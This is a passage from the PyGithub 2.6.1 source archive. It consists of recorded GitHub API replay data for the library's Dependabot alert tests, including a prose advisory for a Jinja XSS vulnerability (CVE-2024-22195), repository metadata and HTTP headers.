url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-21T23:42:44Z","pushed_at":"2024-01-21T03:50:17Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6491,"watchers_count":6491,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1718,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1718,"open_issues":288,"watchers":6491,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-21T23:42:44Z","pushed_at":"2024-01-21T03:50:17Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6491,"watchers_count":6491,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1718,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1718,"open_issues":288,"watchers":6491,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1718,"subscribers_count":0} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/DependabotAlert.testAttributes.txt0000644000175100001660000001241014756101563024777 0ustar00runnerdockerhttps GET api.github.com None /repos/coopernetes/PyGithub/dependabot/alerts/1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Jan 2024 03:35:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4f4dfb4e1c402c10a899477bc5ee37795feca57fa0a50548c85fae38cf365ee6"'), ('Last-Modified', 'Sun, 21 Jan 2024 03:35:38 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:repo_hook, delete_repo, read:repo_hook, repo, repo:invite, repo:status, repo_deployment, security_events, write:repo_hook'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1705809202'), ('X-RateLimit-Used', '24'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'A21E:206B:40AD443:8629440:65AC9115')] {"number":1,"state":"dismissed","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1","html_url":"https://github.com/coopernetes/PyGithub/security/dependabot/1","created_at":"2024-01-20T17:12:38Z","updated_at":"2024-01-21T03:35:38Z","dismissed_at":"2024-01-21T03:35:38Z","dismissed_by":{"login":"coopernetes","id":57812123,"node_id":"MDQ6VXNlcjU3ODEyMTIz","avatar_url":"https://avatars.githubusercontent.com/u/57812123?v=4","gravatar_id":"","url":"https://api.github.com/users/coopernetes","html_url":"https://github.com/coopernetes","followers_url":"https://api.github.com/users/coopernetes/followers","following_url":"https://api.github.com/users/coopernetes/following{/other_user}","gists_url":"https://api.github.com/users/coopernetes/gists{/gist_id}","starred_url":"https://api.github.com/users/coopernetes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coopernetes/subscriptions","organizations_url":"https://api.github.com/users/coopernetes/orgs","repos_url":"https://api.github.com/users/coopernetes/repos","events_url":"https://api.github.com/users/coopernetes/events{/privacy}","received_events_url":"https://api.github.com/users/coopernetes/received_events","type":"User","site_admin":false},"dismissed_reason":"tolerable_risk","dismissed_comment":"Example comment","fixed_at":null,"auto_dismissed_at":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/DependabotAlert.testGetAlertsWithAllArguments.txt0000644000175100001660000001071014756101563027717 0ustar00runnerdockerhttps GET api.github.com None /repos/coopernetes/PyGithub/dependabot/alerts?state=open&severity=medium&ecosystem=pip&package=foo%2Cjinja2&manifest=bar%2Fpackage.json%2Crequirements%2Fdocs.txt&scope=runtime&sort=created&direction=asc {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Jan 2024 03:26:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"002bc3cf8a4a661061b33ae3699c28d6d18fe782787dbb1192b56af103a328e5"'), ('Last-Modified', 'Sun, 21 Jan 2024 03:26:01 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:repo_hook, delete_repo, read:repo_hook, repo, repo:invite, repo:status, repo_deployment, security_events, write:repo_hook'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4982'), ('X-RateLimit-Reset', '1705809202'), ('X-RateLimit-Used', '18'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'A142:162D:4C531D:A04A80:65AC8EDC')] [{"number":1,"state":"open","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1","html_url":"https://github.com/coopernetes/PyGithub/security/dependabot/1","created_at":"2024-01-20T17:12:38Z","updated_at":"2024-01-21T03:26:01Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/DependabotAlert.testMultipleAlerts.txt0000644000175100001660000001240214756101563025620 0ustar00runnerdockerhttps GET api.github.com None /repos/coopernetes/PyGithub/dependabot/alerts {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 20 Jan 2024 22:04:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"55942192d755ff8b4eb1f6b26e83cd02811f5455fa034b1590d1c11b30a84ca5"'), ('Last-Modified', 'Sat, 20 Jan 2024 22:04:00 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:repo_hook, delete_repo, read:repo_hook, repo, repo:invite, repo:status, repo_deployment, security_events, write:repo_hook'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1705791680'), ('X-RateLimit-Used', '27'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DF04:6873:150B:2ED9:65AC435C')] [{"number":1,"state":"dismissed","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1","html_url":"https://github.com/coopernetes/PyGithub/security/dependabot/1","created_at":"2024-01-20T17:12:38Z","updated_at":"2024-01-20T22:04:00Z","dismissed_at":"2024-01-20T22:04:00Z","dismissed_by":{"login":"coopernetes","id":57812123,"node_id":"MDQ6VXNlcjU3ODEyMTIz","avatar_url":"https://avatars.githubusercontent.com/u/57812123?v=4","gravatar_id":"","url":"https://api.github.com/users/coopernetes","html_url":"https://github.com/coopernetes","followers_url":"https://api.github.com/users/coopernetes/followers","following_url":"https://api.github.com/users/coopernetes/following{/other_user}","gists_url":"https://api.github.com/users/coopernetes/gists{/gist_id}","starred_url":"https://api.github.com/users/coopernetes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coopernetes/subscriptions","organizations_url":"https://api.github.com/users/coopernetes/orgs","repos_url":"https://api.github.com/users/coopernetes/repos","events_url":"https://api.github.com/users/coopernetes/events{/privacy}","received_events_url":"https://api.github.com/users/coopernetes/received_events","type":"User","site_admin":false},"dismissed_reason":"tolerable_risk","dismissed_comment":"Example comment","fixed_at":null,"auto_dismissed_at":null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/DependabotAlert.testRepr.txt0000644000175100001660000001241114756101563023562 0ustar00runnerdockerhttps GET api.github.com None /repos/coopernetes/PyGithub/dependabot/alerts/1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Jan 2024 03:48:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4f4dfb4e1c402c10a899477bc5ee37795feca57fa0a50548c85fae38cf365ee6"'), ('Last-Modified', 'Sun, 21 Jan 2024 03:35:38 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:repo_hook, delete_repo, read:repo_hook, repo, repo:invite, repo:status, repo_deployment, security_events, write:repo_hook'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1705809202'), ('X-RateLimit-Used', '28'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D9A2:305E:9A31D42:13F16090:65AC941B')] {"number":1,"state":"dismissed","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1","html_url":"https://github.com/coopernetes/PyGithub/security/dependabot/1","created_at":"2024-01-20T17:12:38Z","updated_at":"2024-01-21T03:35:38Z","dismissed_at":"2024-01-21T03:35:38Z","dismissed_by":{"login":"coopernetes","id":57812123,"node_id":"MDQ6VXNlcjU3ODEyMTIz","avatar_url":"https://avatars.githubusercontent.com/u/57812123?v=4","gravatar_id":"","url":"https://api.github.com/users/coopernetes","html_url":"https://github.com/coopernetes","followers_url":"https://api.github.com/users/coopernetes/followers","following_url":"https://api.github.com/users/coopernetes/following{/other_user}","gists_url":"https://api.github.com/users/coopernetes/gists{/gist_id}","starred_url":"https://api.github.com/users/coopernetes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coopernetes/subscriptions","organizations_url":"https://api.github.com/users/coopernetes/orgs","repos_url":"https://api.github.com/users/coopernetes/repos","events_url":"https://api.github.com/users/coopernetes/events{/privacy}","received_events_url":"https://api.github.com/users/coopernetes/received_events","type":"User","site_admin":false},"dismissed_reason":"tolerable_risk","dismissed_comment":"Example comment","fixed_at":null,"auto_dismissed_at":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/DependabotAlert.testUpdateAlertDismissed.txt0000644000175100001660000001247014756101563026736 0ustar00runnerdockerhttps PATCH api.github.com None /repos/coopernetes/PyGithub/dependabot/alerts/1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"state": "dismissed", "dismissed_reason": "tolerable_risk", "dismissed_comment": "Example comment"} 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 22 Jan 2024 02:33:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2c93d3d265a67aa4bcb393922396933c9d930dc7d61b0c44c17aae05b8d53728"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'admin:repo_hook, delete_repo, read:repo_hook, repo, repo:invite, repo:status, repo_deployment, security_events, write:repo_hook'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1705893222'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D7DE:2475:1C8D4C1:3C1021D:65ADD3DD')] {"number":1,"state":"dismissed","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter 